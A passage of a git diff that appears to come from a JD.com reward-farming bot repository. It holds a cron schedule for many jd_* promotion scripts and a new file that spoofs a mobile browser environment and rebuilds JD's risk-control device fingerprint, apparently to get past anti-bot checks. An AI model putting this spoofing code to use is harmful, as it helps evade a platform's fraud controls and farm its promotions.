jd_superMarket&jd_syj&jd_zoo&jd_big_winner + - timer: #京豆变动通知 #疯狂的joy #监控crazyJoy分红 #京东排行榜 #领京豆额外奖励 #京东保价 #闪购盲盒 #新潮品牌狂欢 #京喜领88元红包 + parameters: + name: beanchange_crazyjoy_crazyjoybonus_rankingList_beanhome_price_sgmh_mcxhd_jxlhb + cronExpression: "0 30 7 * * * *" + enable: true + argument: jd_bean_change&jd_crazy_joy&jd_crazy_joy_bonus&jd_rankingList&jd_bean_home&jd_price&jd_sgmh&jd_mcxhd&jd_jxlhb + - timer: #金融养猪 #京东快递 #京东赚赚 #京东极速版红包 #领金贴 + parameters: + name: pigPet_kd_jdzz_speedredpocke_jintie + cronExpression: "0 3 1 * * * *" + enable: true + argument: jd_pigPet&jd_kd&jd_jdzz&jd_speed_redpocke&jd_jin_tie + environment: # 环境变量 + variables: # 环境变量对象 + AAA: BBB # 不要删除,用来格式化对齐追加的变量的 diff --git a/sign_graphics_validate.js b/sign_graphics_validate.js new file mode 100644 index 0000000..675729f --- /dev/null +++ b/sign_graphics_validate.js @@ -0,0 +1,2085 @@ +const navigator = { + userAgent: `jdapp;iPhone;10.1.0;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + plugins: { length: 0 }, + language: "zh-CN", +}; +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +const screen = { + availHeight: 812, + availWidth: 375, + colorDepth: 24, + height: 812, + width: 375, + pixelDepth: 24, + +} +const window = { + +} +const document = { + location: { + "ancestorOrigins": {}, + "href": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "origin": "https://prodev.m.jd.com", + "protocol": "https:", + "host": "prodev.m.jd.com", + "hostname": "prodev.m.jd.com", + "port": "", + "pathname": "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "search": "", + "hash": "" + } +}; +var start_time = (new Date).getTime(), + _jdfp_canvas_md5 = "", + _jdfp_webgl_md5 = "", + _fingerprint_step = 1, + _JdEid = "", + _eidFlag = !1, + risk_jd_local_fingerprint = "", + _jd_e_joint_; + + function t(a) { + if (null == a || void 0 == a || "" == a) return "NA"; + if (null == a || void 0 == a || "" == a) var b = ""; + else { + b = []; + for (var c = 0; c < 8 * a.length; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32 + } + a = 8 * a.length; + b[a >> 5] |= 128 << a % 32; + b[(a + 64 >>> 9 << 4) + 14] = a; + a = 1732584193; + c = -271733879; + for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { + var z = a, + C = c, + D = l, + B = h; + a = v(a, c, l, h, b[q + 0], 7, -680876936); + h = v(h, a, c, l, b[q + 1], 12, -389564586); + l = v(l, h, a, c, b[q + 2], 17, 606105819); + c = v(c, l, h, a, b[q + 3], 22, -1044525330); + a = v(a, c, l, h, b[q + 4], 7, -176418897); + h = v(h, a, c, l, b[q + 5], 12, 1200080426); + l = v(l, h, a, c, b[q + 6], 17, -1473231341); + c = v(c, l, h, a, b[q + 7], 22, -45705983); + a = v(a, c, l, h, b[q + 8], 7, 1770035416); + h = v(h, a, c, l, b[q + 9], 12, -1958414417); + l = v(l, h, a, c, b[q + 10], 17, -42063); + c = v(c, l, h, a, b[q + 11], 22, -1990404162); + a = v(a, c, l, h, b[q + 12], 7, 1804603682); + h = v(h, a, c, l, b[q + 13], 12, -40341101); + l = v(l, h, a, c, b[q + 14], 17, -1502002290); + c = v(c, l, h, a, b[q + 15], 22, 1236535329); + a = x(a, c, l, h, b[q + 1], 5, -165796510); + h = x(h, a, c, l, b[q + 6], 9, -1069501632); + l = x(l, h, a, c, b[q + 11], 14, 643717713); + c = x(c, l, h, a, b[q + 0], 20, -373897302); + a = x(a, c, l, h, b[q + 5], 5, -701558691); + h = x(h, a, c, l, b[q + 10], 9, 38016083); + l = x(l, h, a, c, b[q + 15], 14, -660478335); + c = x(c, l, h, a, b[q + 4], 20, -405537848); + a = x(a, c, l, h, b[q + 9], 5, 568446438); + h = x(h, a, c, l, b[q + 14], 9, -1019803690); + l = x(l, h, a, c, b[q + 3], 14, -187363961); + c = x(c, l, h, a, b[q + 8], 20, 1163531501); + a = x(a, c, l, h, b[q + 13], 5, -1444681467); + h = x(h, a, c, l, b[q + 2], 9, -51403784); + l = x(l, h, a, c, b[q + 7], 14, 1735328473); + c = x(c, l, h, a, b[q + 12], 20, -1926607734); + a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); + h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); + l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); + c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); + a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); + h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); + l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); + c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); + a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); + h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); + l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); + c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); + a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); + h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); + l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); + c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); + a = w(a, c, l, h, b[q + 0], 6, -198630844); + h = w(h, a, c, l, b[q + 7], 10, 1126891415); + l = w(l, h, a, c, b[q + 14], 15, -1416354905); + c = w(c, l, h, a, b[q + 5], 21, -57434055); + a = w(a, c, l, h, b[q + 12], 6, 1700485571); + h = w(h, a, c, l, b[q + 3], 10, -1894986606); + l = w(l, h, a, c, b[q + 10], 15, -1051523); + c = w(c, l, h, a, b[q + 1], 21, -2054922799); + a = w(a, c, l, h, b[q + 8], 6, 1873313359); + h = w(h, a, c, l, b[q + 15], 10, -30611744); + l = w(l, h, a, c, b[q + 6], 15, -1560198380); + c = w(c, l, h, a, b[q + 13], 21, 1309151649); + a = w(a, c, l, h, b[q + 4], 6, -145523070); + h = w(h, a, c, l, b[q + 11], 10, -1120210379); + l = w(l, h, a, c, b[q + 2], 15, 718787259); + c = w(c, l, h, a, b[q + 9], 21, -343485551); + a = A(a, z); + c = A(c, C); + l = A(l, D); + h = A(h, B) + } + b = [a, c, l, h]; + a = ""; + for (c = 0; c < 4 * b.length; c++) a += "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 + 4 & 15) + + "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 & 15); + return a + } + function u(a, b, c, l, h, q) { + a = A(A(b, a), A(l, q)); + return A(a << h | a >>> 32 - h, c) + } + + function v(a, b, c, l, h, q, z) { + return u(b & c | ~b & l, a, b, h, q, z) + } + + function x(a, b, c, l, h, q, z) { + return u(b & l | c & ~l, a, b, h, q, z) + } + + function w(a, b, c, l, h, q, z) { + return u(c ^ (b | ~l), a, b, h, q, z) + } + + function A(a, b) { + var c = (a & 65535) + (b & 65535); + return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535 + } + _fingerprint_step = 2; + var y = "", + n = navigator.userAgent.toLowerCase(); + n.indexOf("jdapp") && (n = n.substring(0, 90)); + var e = navigator.language, + f = n; - 1 != f.indexOf("ipad") || -1 != f.indexOf("iphone os") || -1 != f.indexOf("midp") || -1 != f.indexOf( + "rv:1.2.3.4") || -1 != f.indexOf("ucweb") || -1 != f.indexOf("android") || -1 != f.indexOf("windows ce") || + f.indexOf("windows mobile"); + var r = "NA", + k = "NA"; + try { + -1 != f.indexOf("win") && -1 != f.indexOf("95") && (r = "windows", k = "95"), -1 != f.indexOf("win") && -1 != + f.indexOf("98") && (r = "windows", k = "98"), -1 != f.indexOf("win 9x") && -1 != f.indexOf("4.90") && ( + r = "windows", k = "me"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.0") && (r = "windows", k = + "2000"), -1 != f.indexOf("win") && -1 != f.indexOf("nt") && (r = "windows", k = "NT"), -1 != f.indexOf( + "win") && -1 != f.indexOf("nt 5.1") && (r = "windows", k = "xp"), -1 != f.indexOf("win") && -1 != f + .indexOf("32") && (r = "windows", k = "32"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.1") && (r = + "windows", k = "7"), -1 != f.indexOf("win") && -1 != f.indexOf("6.0") && (r = "windows", k = "8"), + -1 == f.indexOf("win") || -1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1") || (r = "windows", k = + "9"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 6.2") && (r = "windows", k = "10"), -1 != f.indexOf( + "linux") && (r = "linux"), -1 != f.indexOf("unix") && (r = "unix"), -1 != f.indexOf("sun") && -1 != + f.indexOf("os") && (r = "sun os"), -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), + -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), -1 != f.indexOf("aix") && (r = "aix"), + -1 != f.indexOf("powerpc") && (r = "powerPC"), -1 != f.indexOf("hpux") && (r = "hpux"), -1 != f.indexOf( + "netbsd") && (r = "NetBSD"), -1 != f.indexOf("bsd") && (r = "BSD"), -1 != f.indexOf("osf1") && (r = + "OSF1"), -1 != f.indexOf("irix") && (r = "IRIX", k = ""), -1 != f.indexOf("freebsd") && (r = + "FreeBSD"), -1 != f.indexOf("symbianos") && (r = "SymbianOS", k = f.substring(f.indexOf( + "SymbianOS/") + 10, 3)) + } catch (a) { } + _fingerprint_step = 3; + var g = "NA", + m = "NA"; + try { + -1 != f.indexOf("msie") && (g = "ie", m = f.substring(f.indexOf("msie ") + 5), m.indexOf(";") && (m = m.substring( + 0, m.indexOf(";")))); - 1 != f.indexOf("firefox") && (g = "Firefox", m = f.substring(f.indexOf( + "firefox/") + 8)); - 1 != f.indexOf("opera") && (g = "Opera", m = f.substring(f.indexOf("opera/") + 6, + 4)); - 1 != f.indexOf("safari") && (g = "safari", m = f.substring(f.indexOf("safari/") + 7)); - 1 != f.indexOf( + "chrome") && (g = "chrome", m = f.substring(f.indexOf("chrome/") + 7), m.indexOf(" ") && (m = m.substring( + 0, m.indexOf(" ")))); - 1 != f.indexOf("navigator") && (g = "navigator", m = f.substring(f.indexOf( + "navigator/") + 10)); - 1 != f.indexOf("applewebkit") && (g = "applewebkit_chrome", m = f.substring(f.indexOf( + "applewebkit/") + 12), m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - 1 != f.indexOf( + "sogoumobilebrowser") && (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); + if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) g = "UC\u6d4f\u89c8\u5668"; + if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) g = "QQ\u6d4f\u89c8\u5668"; - 1 != + f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - 1 != f.indexOf("360se") && (g = + "360\u6d4f\u89c8\u5668"); - 1 != f.indexOf("the world") && (g = + "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - 1 != f.indexOf("maxthon") && (g = + "\u9068\u6e38\u6d4f\u89c8\u5668") + } catch (a) { } + + +class JdJrTdRiskFinger { + f = { + options: function (){ + return {} + }, + nativeForEach: Array.prototype.forEach, + nativeMap: Array.prototype.map, + extend: function (a, b) { + if (null == a) return b; + for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); + return b + }, + getData: function () { + return y + }, + get: function (a) { + var b = 1 * m, + c = []; + "ie" == g && 7 <= b ? (c.push(n), c.push(e), y = y + ",'userAgent':'" + t(n) + "','language':'" + + e + "'", this.browserRedirect(n)) : (c = this.userAgentKey(c), c = this.languageKey(c)); + c.push(g); + c.push(m); + c.push(r); + c.push(k); + y = y + ",'os':'" + r + "','osVersion':'" + k + "','browser':'" + g + "','browserVersion':'" + + m + "'"; + c = this.colorDepthKey(c); + c = this.screenResolutionKey(c); + c = this.timezoneOffsetKey(c); + c = this.sessionStorageKey(c); + c = this.localStorageKey(c); + c = this.indexedDbKey(c); + c = this.addBehaviorKey(c); + c = this.openDatabaseKey(c); + c = this.cpuClassKey(c); + c = this.platformKey(c); + c = this.hardwareConcurrencyKey(c); + c = this.doNotTrackKey(c); + c = this.pluginsKey(c); + c = this.canvasKey(c); + c = this.webglKey(c); + b = this.x64hash128(c.join("~~~"), 31); + return a(b) + }, + userAgentKey: function (a) { + a.push(navigator.userAgent), y = y + ",'userAgent':'" + t( + navigator.userAgent) + "'", this.browserRedirect(navigator.userAgent); + return a + }, + replaceAll: function (a, b, c) { + for (; 0 <= a.indexOf(b);) a = a.replace(b, c); + return a + }, + browserRedirect: function (a) { + var b = a.toLowerCase(); + a = "ipad" == b.match(/ipad/i); + var c = "iphone os" == b.match(/iphone os/i), + l = "midp" == b.match(/midp/i), + h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), + q = "ucweb" == b.match(/ucweb/i), + z = "android" == b.match(/android/i), + C = "windows ce" == b.match(/windows ce/i); + b = "windows mobile" == b.match(/windows mobile/i); + y = a || c || l || h || q || z || C || b ? y + ",'origin':'mobile'" : y + ",'origin':'pc'" + }, + languageKey: function (a) { + '' || (a.push(navigator.language), y = y + ",'language':'" + this.replaceAll( + navigator.language, " ", "_") + "'"); + return a + }, + colorDepthKey: function (a) { + '' || (a.push(screen.colorDepth), y = y + ",'colorDepth':'" + + screen.colorDepth + "'"); + return a + }, + screenResolutionKey: function (a) { + if (!this.options.excludeScreenResolution) { + var b = this.getScreenResolution(); + "undefined" !== typeof b && (a.push(b.join("x")), y = y + ",'screenResolution':'" + b.join( + "x") + "'") + } + return a + }, + getScreenResolution: function () { + return this.options.detectScreenOrientation ? screen.height > screen.width ? [screen.height, + screen.width] : [screen.width, screen.height] : [screen.height, screen.width] + }, + timezoneOffsetKey: function (a) { + this.options.excludeTimezoneOffset || (a.push((new Date).getTimezoneOffset()), y = y + + ",'timezoneOffset':'" + (new Date).getTimezoneOffset() / 60 + "'"); + return a + }, + sessionStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasSessionStorage() && (a.push("sessionStorageKey"), + y += ",'sessionStorage':true"); + return a + }, + localStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasLocalStorage() && (a.push("localStorageKey"), y += + ",'localStorage':true"); + return a + }, + indexedDbKey: function (a) { + !this.options.excludeIndexedDB && this.hasIndexedDB() && (a.push("indexedDbKey"), y += + ",'indexedDb':true"); + return a + }, + addBehaviorKey: function (a) { + document.body && !this.options.excludeAddBehavior && document.body.addBehavior ? (a.push( + "addBehaviorKey"), y += ",'addBehavior':true") : y += ",'addBehavior':false"; + return a + }, + openDatabaseKey: function (a) { + !this.options.excludeOpenDatabase && window.openDatabase ? (a.push("openDatabase"), y += + ",'openDatabase':true") : y += ",'openDatabase':false"; + return a + }, + cpuClassKey: function (a) { + this.options.excludeCpuClass || (a.push(this.getNavigatorCpuClass()), y = y + ",'cpu':'" + this + .getNavigatorCpuClass() + "'"); + return a + }, + platformKey: function (a) { + this.options.excludePlatform || (a.push(this.getNavigatorPlatform()), y = y + ",'platform':'" + + this.getNavigatorPlatform() + "'"); + return a + }, + hardwareConcurrencyKey: function (a) { + var b = this.getHardwareConcurrency(); + a.push(b); + y = y + ",'ccn':'" + b + "'"; + return a + }, + doNotTrackKey: function (a) { + this.options.excludeDoNotTrack || (a.push(this.getDoNotTrack()), y = y + ",'track':'" + this.getDoNotTrack() + + "'"); + return a + }, + canvasKey: function (a) { + if (!this.options.excludeCanvas && this.isCanvasSupported()) { + var b = this.getCanvasFp(); + a.push(b); + _jdfp_canvas_md5 = t(b); + y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'" + } + return a + }, + webglKey: function (a) { + if (!this.options.excludeWebGL && this.isCanvasSupported()) { + var b = this.getWebglFp(); + _jdfp_webgl_md5 = t(b); + a.push(b); + y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'" + } + return a + }, + pluginsKey: function (a) { + this.isIE() ? (a.push(this.getIEPluginsString()), y = y + ",'plugins':'" + t(this.getIEPluginsString()) + + "'") : (a.push(this.getRegularPluginsString()), y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + + "'"); + return a + }, + getRegularPluginsString: function () { + return this.map(navigator.plugins, function (a) { + var b = this.map(a, function (c) { + return [c.type, c.suffixes].join("~") + }).join(","); + return [a.name, a.description, b].join("::") + }, this).join(";") + }, + getIEPluginsString: function () { + return window.ActiveXObject ? this.map( + "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1" + .split(";"), + function (a) { + try { + return new ActiveXObject(a), a + } catch (b) { + return null + } + }).join(";") : "" + }, + hasSessionStorage: function () { + try { + return !!window.sessionStorage + } catch (a) { + return !0 + } + }, + hasLocalStorage: function () { + try { + return !!window.localStorage + } catch (a) { + return !0 + } + }, + hasIndexedDB: function () { + return true + return !!window.indexedDB + }, + getNavigatorCpuClass: function () { + return navigator.cpuClass ? navigator.cpuClass : "NA" + }, + getNavigatorPlatform: function () { + return navigator.platform ? navigator.platform : "NA" + }, + getHardwareConcurrency: function () { + return navigator.hardwareConcurrency ? navigator.hardwareConcurrency : "NA" + }, + getDoNotTrack: function () { + return navigator.doNotTrack ? navigator.doNotTrack : "NA" + }, + getCanvasFp: function () { + return ''; + var a = navigator.userAgent.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = document.createElement("canvas"); + var b = a.getContext("2d"); + b.fillStyle = "red"; + b.fillRect(30, 10, 200, 100); + b.strokeStyle = "#1a3bc1"; + b.lineWidth = 6; + b.lineCap = "round"; + b.arc(50, 50, 20, 0, Math.PI, !1); + b.stroke(); + b.fillStyle = "#42e1a2"; + b.font = "15.4px 'Arial'"; + b.textBaseline = "alphabetic"; + b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); + b.shadowOffsetX = 1; + b.shadowOffsetY = 2; + b.shadowColor = "white"; + b.fillStyle = "rgba(0, 0, 200, 0.5)"; + b.font = "60px 'Not a real font'"; + b.fillText("No\u9a97", 40, 80); + return a.toDataURL() + }, + getWebglFp: function () { + var a = navigator.userAgent; + a = a.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = function (D) { + b.clearColor(0, 0, 0, 1); + b.enable(b.DEPTH_TEST); + b.depthFunc(b.LEQUAL); + b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); + return "[" + D[0] + ", " + D[1] + "]" + }; + var b = this.getWebglCanvas(); + if (!b) return null; + var c = [], + l = b.createBuffer(); + b.bindBuffer(b.ARRAY_BUFFER, l); + var h = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]); + b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); + l.itemSize = 3; + l.numItems = 3; + h = b.createProgram(); + var q = b.createShader(b.VERTEX_SHADER); + b.shaderSource(q, + "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" + ); + b.compileShader(q); + var z = b.createShader(b.FRAGMENT_SHADER); + b.shaderSource(z, + "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" + ); + b.compileShader(z); + b.attachShader(h, q); + b.attachShader(h, z); + b.linkProgram(h); + b.useProgram(h); + h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); + h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); + b.enableVertexAttribArray(h.vertexPosArray); + b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); + b.uniform2f(h.offsetUniform, 1, 1); + b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); + null != b.canvas && c.push(b.canvas.toDataURL()); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); + c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); + c.push("w3" + b.getParameter(b.ALPHA_BITS)); + c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); + c.push("w5" + b.getParameter(b.BLUE_BITS)); + c.push("w6" + b.getParameter(b.DEPTH_BITS)); + c.push("w7" + b.getParameter(b.GREEN_BITS)); + c.push("w8" + function (D) { + var B, F = D.getExtension("EXT_texture_filter_anisotropic") || D.getExtension( + "WEBKIT_EXT_texture_filter_anisotropic") || D.getExtension( + "MOZ_EXT_texture_filter_anisotropic"); + return F ? (B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT), 0 === B && (B = 2), + B) : null + }(b)); + c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); + c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); + c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); + c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); + c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); + c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); + c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); + c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); + c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); + c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); + c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); + c.push("w20" + b.getParameter(b.RED_BITS)); + c.push("w21" + b.getParameter(b.RENDERER)); + c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); + c.push("w23" + b.getParameter(b.STENCIL_BITS)); + c.push("w24" + b.getParameter(b.VENDOR)); + c.push("w25" + b.getParameter(b.VERSION)); + try { + var C = b.getExtension("WEBGL_debug_renderer_info"); + C && (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), c.push("wur:" + b.getParameter( + C.UNMASKED_RENDERER_WEBGL))) + } catch (D) { } + return c.join("\u00a7") + }, + isCanvasSupported: function () { + return true; + var a = document.createElement("canvas"); + return !(!a.getContext || !a.getContext("2d")) + }, + isIE: function () { + return "Microsoft Internet Explorer" === navigator.appName || "Netscape" === navigator.appName && + /Trident/.test(navigator.userAgent) ? !0 : !1 + }, + getWebglCanvas: function () { + return null; + var a = document.createElement("canvas"), + b = null; + try { + var c = navigator.userAgent; + c = c.toLowerCase(); + (0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && (0 < c.indexOf("iphone") || 0 < c + .indexOf("ipad")) || (b = a.getContext("webgl") || a.getContext("experimental-webgl")) + } catch (l) { } + b || (b = null); + return b + }, + each: function (a, b, c) { + if (null !== a) + if (this.nativeForEach && a.forEach === this.nativeForEach) a.forEach(b, c); + else if (a.length === +a.length) + for (var l = 0, h = a.length; l < h && b.call(c, a[l], l, a) !== {}; l++); + else + for (l in a) + if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break + }, + map: function (a, b, c) { + var l = []; + if (null == a) return l; + if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); + this.each(a, function (h, q, z) { + l[l.length] = b.call(c, h, q, z) + }); + return l + }, + x64Add: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] + b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] + b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] + b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] + b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Multiply: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] * b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] * b[3]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[2] += a[3] * b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] * b[3]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[2] * b[2]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[3] * b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Rotl: function (a, b) { + b %= 64; + if (32 === b) return [a[1], a[0]]; + if (32 > b) return [a[0] << b | a[1] >>> 32 - b, a[1] << b | a[0] >>> 32 - b]; + b -= 32; + return [a[1] << b | a[0] >>> 32 - b, a[0] << b | a[1] >>> 32 - b] + }, + x64LeftShift: function (a, b) { + b %= 64; + return 0 === b ? a : 32 > b ? [a[0] << b | a[1] >>> 32 - b, a[1] << b] : [a[1] << b - 32, 0] + }, + x64Xor: function (a, b) { + return [a[0] ^ b[0], a[1] ^ b[1]] + }, + x64Fmix: function (a) { + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [4283543511, 3981806797]); + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [3301882366, 444984403]); + return a = this.x64Xor(a, [0, a[0] >>> 1]) + }, + x64hash128: function (a, b) { + a = a || ""; + b = b || 0; + var c = a.length % 16, + l = a.length - c, + h = [0, b]; + b = [0, b]; + for (var q, z, C = [2277735313, 289559509], D = [1291169091, 658871167], B = 0; B < l; B += 16) + q = [a.charCodeAt(B + 4) & 255 | (a.charCodeAt(B + 5) & 255) << 8 | (a.charCodeAt(B + 6) & + 255) << 16 | (a.charCodeAt(B + 7) & 255) << 24, a.charCodeAt(B) & 255 | (a.charCodeAt( + B + 1) & 255) << 8 | (a.charCodeAt(B + 2) & 255) << 16 | (a.charCodeAt(B + 3) & 255) << + 24], z = [a.charCodeAt(B + 12) & 255 | (a.charCodeAt(B + 13) & 255) << 8 | (a.charCodeAt( + B + 14) & 255) << 16 | (a.charCodeAt(B + 15) & 255) << 24, a.charCodeAt(B + 8) & + 255 | (a.charCodeAt(B + 9) & 255) << 8 | (a.charCodeAt(B + 10) & 255) << 16 | (a.charCodeAt( + B + 11) & 255) << 24], q = this.x64Multiply(q, C), q = this.x64Rotl(q, 31), q = + this.x64Multiply(q, D), h = this.x64Xor(h, q), h = this.x64Rotl(h, 27), h = this.x64Add(h, + b), h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809]), z = this.x64Multiply( + z, D), z = this.x64Rotl(z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z), b = + this.x64Rotl(b, 31), b = this.x64Add(b, h), b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, + 944331445]); + q = [0, 0]; + z = [0, 0]; + switch (c) { + case 15: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); + case 14: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); + case 13: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); + case 12: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); + case 11: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); + case 10: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); + case 9: + z = this.x64Xor(z, [0, a.charCodeAt(B + 8)]), z = this.x64Multiply(z, D), z = this.x64Rotl( + z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z); + case 8: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); + case 7: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); + case 6: + q = this.x64Xor(q, 